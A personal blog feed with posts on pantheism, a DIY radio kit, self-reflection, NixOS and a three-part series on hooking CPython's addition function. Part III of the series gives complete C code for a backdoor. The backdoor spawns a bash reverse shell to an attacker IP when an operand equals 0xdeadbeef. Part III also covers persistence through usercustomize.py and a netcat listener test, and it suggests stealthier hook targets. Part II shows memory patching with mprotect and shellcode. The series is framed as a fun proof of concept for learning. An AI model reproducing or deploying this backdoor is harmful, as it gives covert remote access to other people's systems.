Why I am a Pantheist

I was always in profound awe when being in nature. The feeling of climbing a mountain, seeing the cloudy sky, the oceans, feeling the raindrops, looking at the absurd complexity and beauty of the human hand, a leaf, a flower.

Last night, I came to what I feel is a very deep and real realization that is now clear to me as daylight. I don’t know how I have managed to avoid it for 33 years being on this planet.

It came to me when listening to The Glitch Mob - You Need (revision) featuring edIT.

The track is an abstract composition of small hints, it has an atmosphere and a pattern that builds up progressively. You don’t really know where it’s going, but it’s hypnotic and captivates your attention. There is just a bassline, samples of distorted voice, patterns, notes and chords. There is a lot of missing information that is for your own imagination to complete. It sounds almost like random but you can tell there is order, design, and a missing part.

You are imagining that missing part but you can’t exactly grasp it.

In 1:48, something happens; You hear it - a very short pattern of notes. Suddenly, the entire thing makes perfect sense. It’s the answer to this track that your mind has been trying to conjure for almost 2 minutes, and for a moment you are in awe and ecstasy. All the questions you had are gone, the song with what seemed like little quirks, a sense of discord and disharmony, makes perfect sense now. It is complete.

I think life is the same way.

Let’s assume that none of this means anything (whatever “meaning” means to you), and we are all just a bunch of molecules, floating in space without purpose. Everything is creating total randomness and we are all here by pure chance. Why the hell would we have this world complete the conscious human experience in such an absolute and beautiful way? And why would you even get the perspective of a human, and not be a rock somewhere on Mars? We are literally sitting in the cockpit of creation and we have the ability to shift and change your own destiny, create and destroy, communicate with other humans, animals and entities? Share experiences, feelings, identity, fears, dreams, love, how the hell does that even work?

It makes no sense. There has to be a missing piece to this puzzle that we have yet to discover.

The mystical aspect of whether it is “divine”, does not matter in my eyes. These are just human terms to describe something that is so abstract to us, but is evident through the entire human life experience, that it is almost obvious it is something that belongs to the underlying core of existence itself.

I have long been fond of this idea, but until this moment I couldn’t put a finger the exact reasoning for it. The term I found describes the closest thing to this belief is Pantheism.

DIY radio

After a very long time of not soldering anything, I finally got myself an RDA5807 FM Radio Receiver DIY Kit from Amazon. Spent 3 hours straight on this thing and my soldering-phobia is basically gone now. This included some SMD soldering, a bunch of DIP mount and pin headers, wiring, a very hacky antenna solder and frame assembly. I did miss something though because the frequency “Down” button doesn’t work.

Some ideas for future improvements:

  • Fix the “Frequency Down” button - Done
  • Add a 3.5mm headphone jack
  • Some finer volume control (currently there are volume levels 0-10 where “0” is still quite loud)
  • Replace the power socket with a USB-C socket
  • Add an internal usb power bank
  • Read the diagram, understand the purpose and function of each component
  • The holes for the antenna and power socket could use some work too. I’m thinking about using a laser-cutter on the acrylic panels to make the holes larger
  • Make a custom case that would fit the radio and the power bank
  • Mess with the STC89c52 8051 microcontroller that runs this thing (dumping, flashing, debugging the firmware)
  • Reverse-engineer the firmware and make a custom one
    • The LCD screen says “STEREO RADIO” but it’s actually mono - change to some custom text
    • Initial volume is really high, I’d like to change that to something more reasonable
    • Starting frequency is something like 80MHz, should be more like 100Mhz
    • Currently it scans until it finds a station. Explore the possibility of manually setting the frequency
    • Explore adding persistent memory for storing the last configured volume and frequency

But for now, I’m just so happy with it!

Sneaky Snek: Messing with Python's Internal Functions (Part III)

We’re back with another part of the series!

In the Previous Part, we’ve hooked PyNumber_Add function using ctypes and replaced it with our own implementation.
In this part, we will extend our extension to a backdoor that will return a reverse shell given specific addition operands.

To the drawing board!

The Plan

  • Just like in the previous part, we will hook the PyNumber_Add function
  • Our code will check if one of the operands is 0xdeadbeef.
  • If so, it will extract the other operand and use it as an IPv4 address
  • It will then connect to the address on port 1337 and spawn a reverse shell

Adding our trigger

In our previous implementation, after checking that both operands are integers, we added a check to see if they are both equal to 2.
We will replace this check with a check to see if one of the operands is 0xdeadbeef, and if so, we will extract the other operand and use it as an IPv4 address.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
unsigned int ipNum = 0;
char ip[16] = {0};

if (PyLong_Check(a) && PyLong_Check(b)) {
if (PyLong_AsLong(a) == 0xdeadbeef) {
ipNum = PyLong_AsLong(b);
}
else if (PyLong_AsLong(b) == 0xdeadbeef) {
ipNum = PyLong_AsLong(a);
}

// Addition implementation
// ...
}
// ...

IP Extraction and Reverse shell

Since we have access to the Python C API, we have the freedom to run any Python code we want!

We will use the os, socket and subprocess modules to spawn a reverse shell. To avoid string formatting in C, we will use strcat to concatenate the strings. The IP address is extracted one byte at a time, using bit shifting and masking with 0xff to get the lowest byte each time.

The reverse shell itself is a Python one-liner that uses os.dup2 to duplicate the socket file descriptor to the standard input, output and error, and then uses subprocess.call to spawn a shell.

1
2
3
4
5
6
7
8
9
10
11
12
13
char revShell[4096] = "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"";

// ...

if (ipNum != 0) {
// Convert the IP address to a string
snprintf(ip, sizeof(ip), "%d.%d.%d.%d", ipNum & 0xff, (ipNum >> 8) & 0xff, (ipNum >> 16) & 0xff, (ipNum >> 24) & 0xff);

// Connect to the IP address on port 1337 and spawn a shell
strcat(revShell, ip);
strcat(revShell, "\",1337));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);");
PyRun_SimpleString(revShell);
}

And violà! We now have a backdoor that will spawn a reverse shell when the operands are 0xdeadbeef and an IPv4 address.

Putting it all together

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#include <Python.h>

PyObject* my_add(PyObject* a, PyObject* b) {
unsigned long ipNum = 0;
char ip[16] = {0};
char revShell[4096] = "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('";

// Increment the reference count of a and b
Py_INCREF(a);
Py_INCREF(b);

// Check that a and b are both PyLongs
if (!PyLong_Check(a) || !PyLong_Check(b)) {
Py_DECREF(a);
Py_DECREF(b);
return Py_None;
}

// PyNumber_Subtract(a, b) is equivalent to a - b,
// So we can calculate a + b by doing a - (-b).
// We can get -b by multiplying b by -1.
PyObject *minus_b = PyNumber_Multiply(b, PyLong_FromLong(-1));
PyObject *result = PyNumber_Subtract(a, (PyObject*) minus_b);

if (PyLong_AsLong(a) == 0xdeadbeef) {
ipNum = PyLong_AsLong(b);
} else if (PyLong_AsLong(b) == 0xdeadbeef) {
ipNum = PyLong_AsLong(a);
}

if (ipNum != 0) {
snprintf(ip, sizeof(ip), "%lu.%lu.%lu.%lu", (ipNum >> 24) & 0xFF, (ipNum >> 16) & 0xFF, (ipNum >> 8) & 0xFF, ipNum & 0xFF);
strcat(revShell, ip);
strcat(revShell, "',1337));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);");

PyRun_SimpleString(revShell);
}

Py_DECREF(a);
Py_DECREF(b);
return result;
}

Persistence

Python looks for a startup script in the site-packages/usercustomize.py file, so we can drop our script from the Previous Part there and it will be loaded automatically. Don’t forget to edit the Python script and change the path to my_add.so to the correct path on your machine.

1
2
3
4
5
6
7
8
9
10
11
# Compile our backdoor module
gcc -shared -o my_add.so -fPIC my_add.c $(python3-config --includes --ldflags)

# Find the user site-packages directory
python -c "import site; print(site.USER_SITE)"

# Edit the script and change the path to `my_add.so` to the full path of `site-packages/my_add.so` on your machine
vim snek.py

# Copy the our script to `site-packages/sitecustomize.py`
cp snek.py /home/user/.local/lib/python3.8/site-packages/usercustomize.py

Now, let’s test our backdoor!

Testing

We’ll listen on port 1337 using nc.

1
2
➜  ~ nc -vvlp 1337
Listening on astral 1337

Now let’s perform a simple calculation and see what happens.

1
2
3
4
5
6
7
8
9
10
11
12
13
➜  ~ python3
Address of my_add: 0x7face7051276
Address of PyNumber_Add: 0x50f750
mprotect(addr=0x50f000, size=0x1000, perms=0x7) ret=0 errno=0
Address of shellcode trampoline: 0x7face6f90390
memmove: 0x50f750
1 + 1 = 2
2 + 2 = 4
Python 3.8.10 (default, May 26 2023, 14:05:08)
[GCC 9.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> 1 + 1
2

So far so good, but does our backdoor work? 0x7f000001 is hex for 127.0.0.1, so let’s try that!

1
>>> 0xdeadbeef + 0x7f000001

And we get a shell! Beautiful!

1
2
3
4
5
Connection received on localhost 34998
user@astral:~$ id
id
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),1001(docker)
user@astral:~$

Notes and Caveats

This is a proof of concept, and is not meant to be used in production (whatever “production” means for a backdoor, lol).

Here are some of the things that could go wrong with this implementation:

  • I’m pretty sure the current implementation breaks a lot of things, such as the + operator for other types, but I haven’t tested it extensively
  • Thread safety is not guaranteed
  • The mprotect call won’t work on platforms with W^X memory protection
  • mprotect won’t work on Windows
  • The shellcode trampoline won’t work on platforms other than x86_64
  • The inline hook is implemented in a very naive way, and overwrites the original function code of PyNumber_Add. A better way to implement the inline hook would be to use a trampoline, and jump to the original function code after we’re done. This requires us to allocate a page of executable memory, and copy the original function code there, and then jump to it
  • Alternatively, we can use a hooking library such as subhook
  • The reverse shell doesn’t fork a child process, so the Python process will get stuck until the reverse shell exits, and stdin / stdout / stderr won’t get redirected back to the user

Improvements and features that can be added:

  • We can use mmap() to get a page of executable memory and load shellcode from memory, instead of using CDLL to load a shared library from disk
  • The backdoor components and it’s communication are not encrypted or obfuscated in any way
  • A Python shell would be nice, instead of relying on /bin/bash
  • As an attacker, there are better hook targets than PyNumber_Add, such as socket.recv(), which is guaranteed to be called with user input in a lot of places
  • Another option is string formatting functions, which are also used everywhere and likely to be called with user input (thanks to @HarpazDor for the suggestion!)

This was a really fun way to spend a weekend!
I hope you enjoyed reading this series as much as I enjoyed writing it, and maybe even learned something new along the way.

Ciao for now!

Sneaky Snek: Messing with Python's Internal Functions (Part II)

Greetings, fellow hackers and tinkerers, and welcome to the second installation of the “Sneaky Snek” blog post series! This series is dedicated to having fun messing around with CPython’s core functionality and modifying arithmetic operator implementation in runtime. In the Previous Part, we’ve started diving into CPython’s implementation of the + operator, PyNumber_Add, intercepted number addition operations using gdb breakpoint commands, inspected the PyObject arguments and modified the result in an automated fashion.

In this part, we will explore inline hooking of the function from within a Python script using ctypes.

Initial Recon

First, we will recall the function definition:

1
PyAPI_FUNC(PyObject *) PyNumber_Add(PyObject *o1, PyObject *o2);

Let’s examine PyNumber_Add and see where it’s code resides in memory.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
(gdb) x/10i PyNumber_Add
0x632512 <PyNumber_Add>: endbr64
0x632516 <PyNumber_Add+4>: push %r12
0x632518 <PyNumber_Add+6>: push %rbp
0x632519 <PyNumber_Add+7>: push %rbx
0x63251a <PyNumber_Add+8>: mov %rdi,%rbx
0x63251d <PyNumber_Add+11>: mov %rsi,%rbp
0x632520 <PyNumber_Add+14>: mov $0x0,%edx
0x632525 <PyNumber_Add+19>: call 0x630fec <binary_op1>
0x63252a <PyNumber_Add+24>: cmp $0x8f5ef0,%rax
0x632530 <PyNumber_Add+30>: je 0x632537 <PyNumber_Add+37>
(gdb) info proc map
Start Addr End Addr Size Offset Perms objfile
0x400000 0x423000 0x23000 0x0 r--p /usr/bin/python3.8d
0x423000 0x691000 0x26e000 0x23000 r-xp /usr/bin/python3.8d
0x691000 0x8e7000 0x256000 0x291000 r--p /usr/bin/python3.8d
...

Great, we have at least 30 bytes of code. That’s more than enough to insert a jmp! There is a problem, though - our code is mapped to a segment with r-xp permissions, so we are missing the “write” permission. This is common for code segments in programs, as there is usually no need to have write permissions for code segments (unless JIT is being used). We will deal with this later.

The Plan

Our objective is to trick Python into believing that “2 + 2 = 5”.
For this purpose, we will redirect execution to a custom function that will check the operands and modify the result if necessary.

We want a Python script that will:

  • Create a custom version of the function
  • Load it into Python’s memory
  • Locate the PyNumber_Add‘s memory address
  • Change it’s page permissions to writable
  • Patch the first bytes of PyNumber_Add with a jump to our function
  • Run some tests

Let’s break these down, one by one.

Creating my_add

While there are advanced ways of inserting code into the memory space of a running process, we will keep things simple and go with loading a shared object (.so). Python has it’s own C API that allows us to extend Python, deal with PyObjects and even run Python from C. This will come in handy!

Note: You may need to install python3-dev for the CPython headers.

Since we are planning to practically destroy PyNumber_Add, we will need a different way to calculate the result. There are safer ways to implement a generic and reusable hook, but for our purposes and in the spirit of having fun, I’ve decided on a quirky approach: a + b is mathematically equivalent to a - (-b)! We will use this to our advantage and implement my_add as follows:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#include <Python.h>

PyObject* my_add(PyObject* a, PyObject* b) {
// Increase reference count to prevent garbage collection
Py_INCREF(a);
Py_INCREF(b);

// Check if both arguments are ints
if (PyLong_Check(a) && PyLong_Check(b)) {
// Check if both arguments are 2
if (PyLong_AsLong(a) == 2 && PyLong_AsLong(b) == 2) {
Py_DECREF(a);
Py_DECREF(b);

// Return 5
return PyLong_FromLong(5);
}

// Return a - (-b)
PyObject* neg_b = PyNumber_Negative(b);
PyObject* result = PyNumber_Subtract(a, neg_b);
Py_DECREF(a);
Py_DECREF(b);
Py_DECREF(neg_b);
return result;
}

// Invalid arguments, return Py_None
Py_DECREF(a);
Py_DECREF(b);
return Py_None;
}

We will compile this into a shared object using the following command:

1
gcc -shared -fPIC -o my_add.so my_add.c $(python3-config --cflags --ldflags)

Loading my_add into Python’s memory

We can now use ctypes.CDLL() to load my_add.so into Python’s memory and get a pointer to our function. This proves to be a little tricky, because ctypes does not expose a direct way to get a pointer to a function. ctypes does, however, allow us to get a pointer to the variable that holds the function pointer. We can then dereference it to get the actual function pointer.

1
2
3
4
5
6
import ctypes

def deref_ptr(ptr):
return ctypes.cast(ptr, ctypes.POINTER(ctypes.c_void_p)).contents.value

my_add = deref_ptr(ctypes.addressof(ctypes.CDLL('./my_add.so').my_add))

Locating PyNumber_Add‘s memory address

We can use ctypes again to get a pointer to PyNumber_Add (It knows…!):

1
pynumber_add = deref_ptr(ctypes.addressof(ctypes.pythonapi.PyNumber_Add))

Changing PyNumber_Add‘s page permissions to writable

We will use mprotect() to change the page permissions of PyNumber_Add to rwx and make the memory writable. To grab the page address, we can use a simple trick stolen borrowed from this StackOverflow answer. Oh yeah, and ctypes let’s us call mprotect() directly from Python!

1
2
3
4
5
6
page_size = os.sysconf('SC_PAGE_SIZE')
page_addr = pynumber_add & ~(page_size - 1)
page_perms = 0x1 | 0x2 | 0x4 # PROT_READ | PROT_WRITE | PROT_EXEC
libc = ctypes.CDLL(ctypes.util.find_library('c'))
result = libc.mprotect(page_addr, page_size, page_perms)
print(f"mprotect(addr={hex(page_addr)}, size={hex(page_size)}, perms={hex(page_perms)}) ret={result} errno={ctypes.get_errno()}")

Note: If we wanted to support Windows, we could use VirtualProtect() instead of mprotect().

Patching the first bytes of PyNumber_Add with a jump to our function

Let’s code a simple trampoline that will redirect execution to my_add:

1
2
mov rax, 0x123456789abcdef0
jmp rax

Assembling this code, we get some bytes. Let’s use them and replace the 0x123456789abcdef0 with the address of my_add:

1
2
3
4
shellcode = b'\x48\xb8' + my_add.to_bytes(8, 'little') + b'\xff\xe0'
shellcode_size = len(shellcode)
shellcode = ctypes.c_char_p(shellcode)
print("Address of shellcode trampoline:", hex(ctypes.addressof(shellcode)))

At this point, we have everything we need to patch PyNumber_Add with a jump to my_add. We will use ctypes again to write our shellcode to the first bytes of PyNumber_Add:

1
2
result = ctypes.memmove(pynumber_add, shellcode, shellcode_size)
print("memmove:", hex(result))

Adding some tests

We’ll insert some number addition operations and see what happens. There is a caveat to be aware of - Python calculates 2 + 2 at compile time and stores the result in the bytecode. We can use eval() to force Python to recalculate the result every time.

1
2
print("1 + 1 =", eval("1 + 1"))
print("2 + 2 =", eval("2 + 2"))

Putting it all together

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import ctypes
import ctypes.util
import os
import sys

def deref_ptr(ptr):
return ctypes.cast(ptr, ctypes.POINTER(ctypes.c_void_p)).contents.value

# Get a pointer to my_add
my_add = deref_ptr(ctypes.addressof(ctypes.CDLL('./my_add.so').my_add))
print("Address of my_add:", hex(my_add))

# Get a pointer to PyNumber_Add
pynumber_add = deref_ptr(ctypes.addressof(ctypes.pythonapi.PyNumber_Add))
print("Address of PyNumber_Add:", hex(pynumber_add))

# Use ctypes and mprotect to make the memory writable
page_size = os.sysconf('SC_PAGE_SIZE')
page_addr = pynumber_add & ~(page_size - 1)
page_perms = 0x1 | 0x2 | 0x4 # PROT_READ | PROT_WRITE | PROT_EXEC
libc = ctypes.CDLL(ctypes.util.find_library('c'))
result = libc.mprotect(page_addr, page_size, page_perms)
print(f"mprotect(addr={hex(page_addr)}, size={hex(page_size)}, perms={hex(page_perms)}) ret={result} errno={ctypes.get_errno()}")

# Create a trampoline to our function
shellcode = b"\x48\xb8" + my_add.to_bytes(8, byteorder='little') # mov rax, my_add
shellcode += b"\xff\xe0" # jmp rax
shellcode_size = len(shellcode)

# Get a pointer to our shellcode trampoline
shellcode = ctypes.c_char_p(shellcode)
print("Address of shellcode trampoline:", hex(ctypes.addressof(shellcode)))

# Copy the shellcode to the start of PyNumber_Add
result = ctypes.memmove(pynumber_add, shellcode, shellcode_size)
print("memmove:", hex(result))

# Test
print("1 + 1 =", eval("1 + 1"))
print("2 + 2 =", eval("2 + 2"))

Hammer Time!

Let’s run our script and see what happens:

1
2
3
4
5
6
7
8
➜  ~ python snek.py
Address of my_add: 0x7f1070ce51a0
Address of PyNumber_Add: 0x50f750
mprotect(addr=0x50f000, size=0x1000, perms=0x7) ret=0 errno=0
Address of shellcode trampoline: 0x7f1070c24390
memmove: 0x50f750
1 + 1 = 2
2 + 2 = 5

It works!! Good snek!

I hope you enjoyed taking this journey into Python internals with me!
In the Next Part, we will explore further extending this into a backdoor that given specific input, will give us a reverse shell.

Sneaky Snek: Messing with Python's Internal Functions (Part I)

Disclaimer: No Pythons were harmed in the making of this post.
Version used: CPython 3.8.10 on Ubuntu 20.04 x86_64 (WSL)

Snakes can be scary, but Python is a good snek. Python is our friend!
As all good friends must do, we will gaslight it into believing that 2 + 2 = 5.

As an interpreted script language, some parts of Python’s runtime can be changed directly.
For example, we can easily replace built-in functions such as int():

1
2
3
4
5
6
>>> int = lambda x: 1
>>> int(2)
1
>>> print = lambda x: None
>>> print("hello")
>>>

Good, we are getting intimate! But how do we modify arithmetic operations, stuff like +, -? When we implement our own class, it’s quite straightforward. By overriding __add__ and __radd__, we can decide exactly what logic will take place when instances (objects) of our class are being added. For example, we can make a Kitten object, and then make kitten1 + kitten2 return the string "Huge pile of cat hair".

When it comes to literals (ex. int) though, Python does not provide us with means of changing the default behavior for +. The implementation is buried inside the CPython interpreter’s C code, so we’ll need to work a little harder.

Locating the Function

Looking through the CPython source code, in Include/abstract.h, we find the following function definition:

1
2
3
4
/* Returns the result of adding o1 and o2, or NULL on failure.

This is the equivalent of the Python expression: o1 + o2. */
PyAPI_FUNC(PyObject *) PyNumber_Add(PyObject *o1, PyObject *o2);

In theory, every int addition operation arrives here!
We can check that with gdb, but first, we’ll need to set up a few things.

Setup

Things we’ll need:

  • gdb
  • A version of Python with debug symbols
  • CPython source code that matches the version

In Ubuntu, the Python 3 debug symbols are shipped in the python3-dbg package.
Note: You may need to edit your APT configuration and add debug symbol sources.

1
2
3
4
5
6
➜  ~ sudo apt install -y python3-dbg
...
Setting up python3-dbg (3.8.2-0ubuntu2) ...
Processing triggers for man-db (2.9.1-1) ...
➜ ~ python3-dbg -V
Python 3.8.10

Good! We can download this version either from the git repo (v3.8.10 tag), or the official Python website. Let’s download and extract it.

1
2
3
4
5
➜  ~ wget https://www.python.org/ftp/python/3.8.10/Python-3.8.10.tar.xz
...
2023-07-03 04:30:57 (9.00 MB/s) - ‘Python-3.8.10.tar.xz’ saved [18433456/18433456]

➜ ~ tar xvf Python-3.8.10.tar.xz

Let’s see if we could get gdb to debug Python with source code support. The dir Python-3.8.10/Python command tells gdb to add the directory to the source search path, so it will be able to show source code.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
➜  ~/pymod gdb python3-dbg
GNU gdb (GDB) 12.1
...
Reading symbols from python3-dbg...
(gdb) dir Python-3.8.10/Python
Source directories searched: /home/user/pymod/Python-3.8.10/Python:$cdir:$cwd
(gdb) b main
Breakpoint 1 at 0x426dd6: file ../Programs/python.c, line 15.
(gdb) r
Starting program: /usr/bin/python3-dbg
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=1, argv=0x7fffffffdd28) at ../Programs/python.c:15
15 {
(gdb)

We got a breakpoint on main, awesome!

Debugging the Interpreter

Now that we have everything set up correctly, let’s see if we land in that PyNumber_Add function we saw earlier!
We’ll close gdb and run Python again:

1
2
➜  ~ python3-dbg
>>>

Now we can attach to it with gdb and set a breakpoint on our target function.
Note: You may need to set ptrace_scope to 0.

1
2
3
4
5
6
7
8
➜  ~ gdb -p `pidof python3-dbg`
GNU gdb (GDB) 12.1
...
0x00007f6196ad3f7a in select () from /lib/x86_64-linux-gnu/libc.so.6
(gdb) b PyNumber_Add
Breakpoint 1 at 0x632512: file ../Objects/abstract.c, line 957.
(gdb) c
Continuing.

Let’s do a simple addition:

1
>>>  0x1234 + 0x5678

We get a breakpoint hit! let’s look back at the function definition.

1
2
Breakpoint 1, PyNumber_Add (v=0x7f6196567f00, w=0x7f619649a800) at ../Objects/abstract.c:957
957 {

It receives two pointers of the type PyObject *. Without looking into the PyObject struct too much yet, we’ll try to find our values somewhere in the memory pointed to by these arguments. We will use x/10wx v to examine 20 words (4-byte values, so, a total of 40 bytes), in hex format, in the memory pointed to by v.

1
2
3
4
5
(gdb) x/10wx v
0x7f6196567f00: 0x00000001 0x00000000 0x008f2fe0 0x00000000
0x7f6196567f10: 0x00000001 0x00000000 0x00001234 0xfdfdfdfd
0x7f6196567f20: 0xfdfdfdfd 0xdddddddd
(gdb)

Our value, 0x1234, is at an offset of 24 bytes, so, 6 words (4-byte each).
Let’s print it directly for both arguments.
We need to cast v from PyObject * to unsigned int *, add the offset, and dereference the pointer (with *).

1
2
3
4
(gdb) p/x * ((unsigned int *) v + 6)
$46 = 0x1234
(gdb) p/x * ((unsigned int *) w + 6)
$47 = 0x5678

Good, now let’s modify the result!
Here is the interesting part from the function:

1
2
3
4
5
6
PyObject *
PyNumber_Add(PyObject *v, PyObject *w)
{
PyObject *result = binary_op1(v, w, NB_SLOT(nb_add));
if (result == Py_NotImplemented) { // We want to break here set the result
...

We can setup a simple hook using breakpoint commands.
This feature that allows you to run a gdb command when the debugger reaches a certain breakpoint.
We’ll combine this with a conditional breakpoint - if v and w both contain 2, write 5 to the returned result object.

Using Ctrl-x + a, we can switch to source code view and find the target line to set the breakpoint on - In my case, it is abstract.c:959.

1
2
3
4
5
6
7
8
9
(gdb) b abstract.c:959 if ((* ((unsigned int *) v + 6) == 2) && (* ((unsigned int *) w + 6) == 2))
Breakpoint 2 at 0x63252a: file ../Objects/abstract.c, line 959.
(gdb) commands
Type commands for breakpoint(s) 2, one per line.
End with a line saying just "end".
>set * ((unsigned int *) result + 6) = 5
>c
>end
(gdb) c

Let’s see what happens.

1
2
3
4
5
>>> 1 + 1
2
>>> 2 + 2
5
>>>

We are successfully intercepting number addition operations with gdb!

In the Next Part, we will look at implementing this hook from within Python, without the use of a debugger.

Guilt-Free Reflection

To improve anything, it is vital to observe it consistently for periods of time without interference, collect data, make observations and deductions, and finally improve via trial and error. Humans have been doing this since the dawn of civilization and it is our way of understanding and navigating the natural world.

When we apply this method to the self, we are bound to interfere with our own measurements. We often judge ourselves, impose expectations, and carry the weight of guilt or shame when we perceive that we fall short. This interference can cloud our observations and hinder our ability to make accurate deductions about ourselves. Consistency is impacted too. Bursts of intense self-reflection followed by periods of guilt or shame can create an unhealthy cycle. We may become hesitant to engage in self-reflection altogether, fearing the negative emotions that often accompany it.

So, how do we break free from this cycle? While completely eliminating negative emotions may be unachievable due to the way our brains function, it is possible to minimize their impact by looking after yourself and taking care of your basic needs before letting your mind slip into deep introspection of your life. Things like sleep, hydration, food, walking outside, a good shower, comfortable wear and some quiet can go a long way.

Next, the key here is to observe yourself objectively as an outsider, and without judgement or preconceived notions, like observing an external entity or phenomena, just observing and taking notes. For example, imagine you have a cat, and it scratches the furniture. You’d observe it’s behavior and note things like:

  • “19/09 - Cat scratches sofa when I’m outside the house”
  • “21/09 - Added cardboard but cat seems uninterested, still scratches sofa”
  • “22/09 - Moved sofa, cat seems more anxious now”

Approaching self-improvement with the same mindset of curiousity and problem-solving is not only healthier for you, but more reliable. Doing this requires the ability to observe yourself from a distance. In Buddhism, this is known as Detachment. Stoicism has it’s own related concept, called Apatheia.

It is important to be intentful and consistent about self-reflection. You cannot seriously expect to improve if you only do it when it’s New Year’s, or when you feel down. Dedicating a consistent time and place for this activity allows observation of a wider spectrum of our different states, gaining clearer and more complete insights to act upon.

An Exercise in Self Love: What Would You Wish for Yourself?

Here are the things that I wish for myself. What are yours?

Spontaneity and lightheartedness

  • To take myself less seriously
  • To live in the moment, love fully with the heart, laugh more often
  • To be more spontaneous and open to experience new things

Appreciation

  • To remind myself of the absurdly improbable nature of this magical existence
  • To take a moment to appreciate and celebrate
    • Our beautiful planet, it’s vast landscapes and the plants and animals that inhabit it
    • Human achievement and expression, history, art and music, science and technology
    • The (absurdly unnecessary, but imperssive) complexity of modern tech
    • The Internet and it’s memes
    • My healthy body and mind
    • The wonderful and inspiring people in my life
    • The immense privilege I got, to have human rights and freedom, and live in this relatively very enlightened age
  • To let the people that have a positive impact on my life know they are appreciated and loved

Intent

  • To become more intentful about my:
    • Inputs - Media, environment, people I decide to include in my life and thoughts
    • Internal processes - Thinking patterns, emotional reactions
    • Outputs - Energy management, words, actions, activities

Emotional development

  • To develop a better relationship with my inner child and recognize when it needs me to change things
  • To be patient and give myself time and space to grow and transform
  • To be unafraid of mistakes
  • To be unafraid of change
  • To be unafraid of challenging my fears and preconceptions
  • To let go of things and ideas that don’t serve me anymore
  • To let go of people that hurt me (or are ultimately harmful for me)
  • To embrace new things, experiences, ideas and people that make my life better

Mind development

  • To take care of my mind and nurture it
  • To become more organized
  • To recognize overthinking and other unhelpful thinking patterns
  • To consume less content
  • To allocate time for cognitive and emotional processing
  • To give myself time and space for relaxation
  • To take more informed decisions (utilize AI)
  • To document my process and let it grow organically

Social development

  • To stay connected with family and friends I care about
  • To be unafraid to show love, passion, excitement
  • To be more forgiving to myself and others
  • To have lasting, meaningful friendships, share experiences and grow together
  • To be comfortable enough to share happiness, sadness, random ideas and other human memes with my friends
  • To learn to trust and rely on friends
  • To have the courage to stand up to my ideals, and the wisdom to recognize when it’s not right anymore
  • To let animals into my life (Which ones? time will tell… I’ve always wanted a Golden Retriever or Labrador)

Physical development

  • To take care of my body and nurture it (good food, water, sunlight, workout, healthy sleeping patterns)
  • To listen to my body and recognize when it needs me to change things
  • To maintain good health and do regular health checkups
  • To keep working out and become stronger and healthier
  • To explore more ways to connect with my body

Tech

  • To have better control of my digital content and identity (e.g. by self-hosting)
  • To keep my digital life organized and live it with intent
  • To give myself time and space to learn and play with varied and new technologies
  • To not succumb to the influences of social media and information overload
  • To reduce and eliminate platforms that employ dark patterns from my tech life (such as notifications and other dopamine-hit-invoking “features”, FOMO, doomscrolling)
  • To ensure that ultimately my machines serve me and I don’t serve them
  • To balance time spent with myself, computers, humans, animals and nature
  • To let tech become an aid, synergize and be in harmony with other aspects of my life

Work

  • To take care of my human aspects before I start working
  • To keep my workspace clean, organized and optimized for focus
  • To work with intent and joy
  • To work on meaningful problems that are worth solving
  • To do less and complete more
  • To set healthy time boundaries and not overwork myself
  • To remind myself to take breaks and recharge
  • To remind myself to take vacations

Community impact

  • To allocate time to help others by:
    • Volunteering
    • Mentoring
    • Sharing knowledge
    • Leading by example
    • Actively researching better ways to generate meaningful impact
    • Building community spaces and frameworks for people to learn and grow with

NixOS is so Cool!

Last night I played with NixOS (huge thanks to my friend Tzlil for the recommendation!) and I had so much fun! It’s a Linux distro, somewhat similar to Arch Linux in terms of minimalist philosophy but with emphasis on reproducibility.

Keep in mind I’m still a newbie so there is a lot I might be missing in this post! Be sure to check out the (unofficial, community-maintained) NixOS Wiki.

Reproducibility

This basically means that anything you install is automatically added to your nix file(s). You can easily control your entire system configuration - bootloader, partition layout, wpa_supplicant, packages, user profiles, services, environment, software-specific configuration, Everything can be declared in the Nix config files. They freakin’ support stuff like chromium / firefox profiles and extensions, oh-my-zsh theme, .vimrc options, you name it.

These config files can be backed up in a git repository that you can easily deploy whenever you need to restore, clone or modify your system.

Installation

Installation is super straightforward for what you’d usually expect from this type of minimalistic OS. There is a friendly GUI that lets you pick which type of Desktop Environment you want (if any) and the usual stuff (region, user / pass).

I chose GNOME as my Desktop Environment. After the setup finished, I was greeted by this beautiful screen:

The disk usage for the default GNOME installation is just shy of 9 GB.

1
2
3
4
5
6
7
8
9
[user@nixos:~]$ df -h | grep sda
Filesystem Size Used Avail Use% Mounted on
devtmpfs 196M 0 196M 0% /dev
tmpfs 2.0G 8.0K 2.0G 1% /dev/shm
tmpfs 976M 11M 965M 2% /run
tmpfs 2.0G 456K 2.0G 1% /run/wrappers
/dev/sda1 20G 8.7G 9.9G 47% /
tmpfs 391M 116K 390M 1% /run/user/1000
/dev/sr0 2.3G 2.3G 0 100% /run/media/user/nixos-gnome-22.11-x86_64

Enabling experimental Nix features

Nix is NixOS’s package manager, it uses it’s own expression-based pure-functional language, “Nix”, to define the logic that decides which packages are installed. The first thing we wanna do is go ahead and enable “experimental” Nix features. This gives us access to stuff like Flakes which are the new way of creating and managing packages.

Trying out packages temporarily

